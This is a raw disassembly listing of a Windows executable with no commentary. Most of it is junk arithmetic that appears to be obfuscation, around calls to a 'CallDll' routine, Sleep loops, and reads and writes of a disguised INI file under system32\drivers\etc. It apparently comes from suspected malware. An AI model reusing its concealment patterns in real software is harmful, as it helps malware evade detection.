mov eax, 0x6614bc37
imul ecx
imul ecx, ecx, 0xa08
sar edx, 0xa
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebx
add esi, edx
add eax, esi
add eax, ecx
sub eax, edi
mov dword [0x45ccd8], eax
xor eax, eax
mov ecx, 0x200
mov edi, 0x55fee8
rep stosd dword es:[edi], eax
mov ecx, dword [ebp - 0x10c8]
push 0x7ff
push ecx
push 0x55fee8
call fcn.004310c0
mov ebx, dword [str._r_____r____]
add esp, 0xc
mov edx, dword [0x45ccc8]
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccd8]
lea esi, [edx + eax]
mov eax, 0x4227fdad
imul esi, esi, 0xa08
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x44fc3a35
imul dword [0x45cce4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, ebx
imul edx, edx, 0x161e
sub esi, ecx
add esi, edx
mov eax, 0x5df55b35
imul ebx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x45cce4], eax
mov eax, 0x55f5e8
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x422760
sub eax, ecx
cmp eax, 5
jbe 0x422ac0
mov ecx, dword [ebp - 0x10c8]
push str.ConfigL6
push ecx
call fcn.00405100
add esp, 8
test eax, eax
jne 0x422ac0
mov eax, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
mov ecx, dword [0x45ccc8]
lea esi, [edx + eax]
imul eax, eax, 0x161e
imul esi, esi, 0x1865
sub esi, eax
mov eax, 0x5c9900d1
imul ecx
mov eax, dword [0x45cce4]
imul eax, eax, 0x1259
sar edx, 0xb
mov edi, edx
add esi, edx
mov edx, dword [str._r_____r____]
shr edi, 0x1f
add edi, esi
sub edi, eax
mov eax, 0x2f1d432d
imul edx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
push 0x132b600
mov dword [0x45cce8], ecx
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
mov dword [ebp - 0x10c8], 0
nop
cmp dword [ebp - 0x10c8], 0x64
jge 0x4228e2
mov ecx, dword [0x45cccc]
mov esi, dword [0x45ccd4]
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xbb03c5cb
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [ebp - 0x10d0], eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
mov eax, dword [ebp - 0x10d0]
sar edx, 0xb
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x5c9900d1
imul esi
mov eax, dword [0x45cce8]
add ebx, ecx
imul eax, eax, 0xa74
sar edx, 0xb
mov ecx, edx
add ebx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, eax
push 0x64
mov dword [str._r_____r____], ecx
call edi
mov eax, 0x55f5e8
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4228c6
sub eax, ecx
mov dword [ebp - 0x10d0], eax
je 0x4228e2
inc dword [ebp - 0x10c8]
jmp 0x422820
mov ecx, dword [0x45ccd4]
mov esi, dword [0x45cce0]
imul esi, esi, 0x1865
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
add esi, edx
mov edi, edx
mov eax, 0xc09370e3
imul ecx
add edx, ecx
mov ecx, dword [0x45cce4]
sar edx, 0xc
imul ecx, ecx, 0x1259
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0xa74
shr esi, 0x1f
add esi, edi
mov edi, dword [str._r_____r____]
add esi, ecx
mov ecx, dword [0x45cccc]
sub esi, edx
mov eax, 0x6614bc37
imul ecx
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
sar edx, 0xa
push 0x800
mov eax, edx
shr eax, 0x1f
lea ecx, [ebp - 0x10c4]
push ecx
add esi, edx
add eax, esi
push 0x44ce59
sub eax, edi
push str.ConfigL5
add eax, 0xae6
push str.GameType1
mov dword [0x45cccc], eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esi, dword [0x45ccdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ccd8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x161e
mov eax, esi
imul edi, edi, 0x1545
imul eax, eax, 0x1865
add edi, eax
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
mov ebx, edx
add edi, edx
mov eax, 0x6614bc37
imul esi
shr ebx, 0x1f
sar edx, 0xa
add ebx, edi
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cce0]
sub ebx, ecx
lea ecx, [ebp - 0x10c4]
lea eax, [ebx + edx - 0x1259]
push ecx
mov dword [0x45ccd4], eax
call fcn.00430682
inc eax
push eax
lea edx, [ebp - 0x10c4]
push 0x44cb00
push edx
call fcn.00430051
add esp, 0x10
push str.C:_WINDoWS_system32driversetc_serViCe5.ini
lea eax, [ebp - 0x10c4]
push eax
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ecx, dword [0x45cccc]
mov edx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
lea edi, [edx + ecx]
mov eax, 0x44fc3a35
imul edi, edi, 0x1ef5
imul esi
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
shr ebx, 0x1f
mov esi, edx
add ebx, edi
add ebx, edx
mov eax, 0xc09370e3
imul ecx
add edx, ecx
mov ecx, dword [0x45ccdc]
sar edx, 0xc
imul ecx, ecx, 0x1259
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
shr esi, 0x1f
imul edx, edx, 0xade
add esi, ebx
sub esi, eax
add esi, ecx
add esi, edx
mov dword [0x45ccdc], esi
mov esi, dword [0x55f5e0]
inc esi
push 0
mov dword [0x55f5e0], esi
call fcn.00430687
add esp, 4
mov dword [0x55f5e4], eax
lea ecx, [ebp - 0x113c]
mov byte [ebp - 4], 6
call fcn.004070a0
mov eax, dword [0x45ccc8]
mov edi, dword [0x45ccd8]
mov ecx, dword [0x45ccd4]
lea esi, [eax + ecx]
mov eax, 0x4227fdad
imul esi, esi, 0xa08
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x44fc3a35
imul dword [0x45cce4]
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x161e
sub esi, eax
add esi, edx
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push ecx
mov ecx, dword [ebp - 0x10d4]
mov dword [0x45cce4], eax
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov dword [ebp - 0x10d0], esp
je 0x422b6f
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x570838
call fcn.00408040
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x1481
sub edi, eax
sub edi, edx
mov eax, 0x6f9f33f1
imul ecx
mov eax, dword [0x45ccc8]
imul eax, eax, 0x1259
sar edx, 0xb
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
add esi, eax
mov eax, 0x2f1d432d
imul ecx
sar edx, 9
mov ecx, edx
add esi, edx
mov edx, dword [ebp - 0x10d4]
shr ecx, 0x1f
add ecx, esi
push 0
push edx
mov dword [0x45ccc8], ecx
call fcn.0040a320
mov ecx, dword [0x45ccd8]
mov esi, dword [0x45ccc8]
mov eax, 0x44fc3a35
imul dword [0x45ccdc]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, ecx
imul edi, edi, 0x1db0
mov edx, esi
imul edx, edx, 0x1545
sub edi, eax
add edi, edx
mov eax, 0x6f9f33f1
imul ecx
sar edx, 0xb
add edi, edx
mov ecx, edx
mov edx, dword [0x45ccd0]
mov eax, 0x5df55b35
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0xa74
shr ecx, 0x1f
add ecx, edi
sub ecx, eax
add ecx, edx
sub ecx, dword [0x45cce4]
add esp, 8
sub ecx, 0x1259
mov dword [0x45ccd0], ecx
jmp 0x422c94
mov esi, dword [0x45ccc8]
mov ecx, dword [0x45ccd0]
mov edi, dword [0x45cce8]
imul esi, esi, 0x161e
mov eax, 0x53f407b5
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5c9900d1
imul dword [0x45ccd4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0x1259
sub esi, eax
sub esi, edx
mov eax, 0x61f60d03
imul edi
mov edi, dword [0x45cce0]
sar edx, 0xa
add esi, edx
mov ebx, edx
mov eax, 0x6614bc37
imul edi
imul edi, edi, 0xa08
mov eax, dword [ebp - 0x10e4]
shr ebx, 0x1f
add ebx, esi
sar edx, 0xa
mov esi, edx
shr esi, 0x1f
add ebx, edx
add esi, ebx
add esi, edi
test eax, eax
mov dword [0x45ccd8], esi
mov byte [ebp - 4], 5
je 0x422d2e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 4
je 0x422d4e
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x422d6e
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x421ddd
jmp 0x421dcb
mov eax, dword [ebp - 0x10f8]
mov ecx, dword [0x45ccd0]
mov ebx, dword [0x45cce8]
inc eax
mov dword [ebp - 0x10f8], eax
jmp 0x420630
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x422dc9
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov edi, dword [0x45cccc]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
mov edx, dword [0x45cce8]
imul esi, esi, 0xade
add ecx, edx
mov eax, 0x4227fdad
imul ecx, ecx, 0xae6
imul edx
mov eax, dword [0x45ccdc]
imul eax, eax, 0x1259
sar edx, 0xb
mov ebx, edx
shr ebx, 0x1f
add ecx, edx
add ebx, ecx
sub ebx, eax
mov eax, 0x5df55b35
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, esi
sub ebx, eax
mov eax, dword [0x45ccd4]
imul eax, eax, 0xa74
sub ebx, eax
mov eax, dword [ebp - 0x10fc]
mov dword [0x45cce0], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042fe7d
mov esp, ebp
pop ebp
ret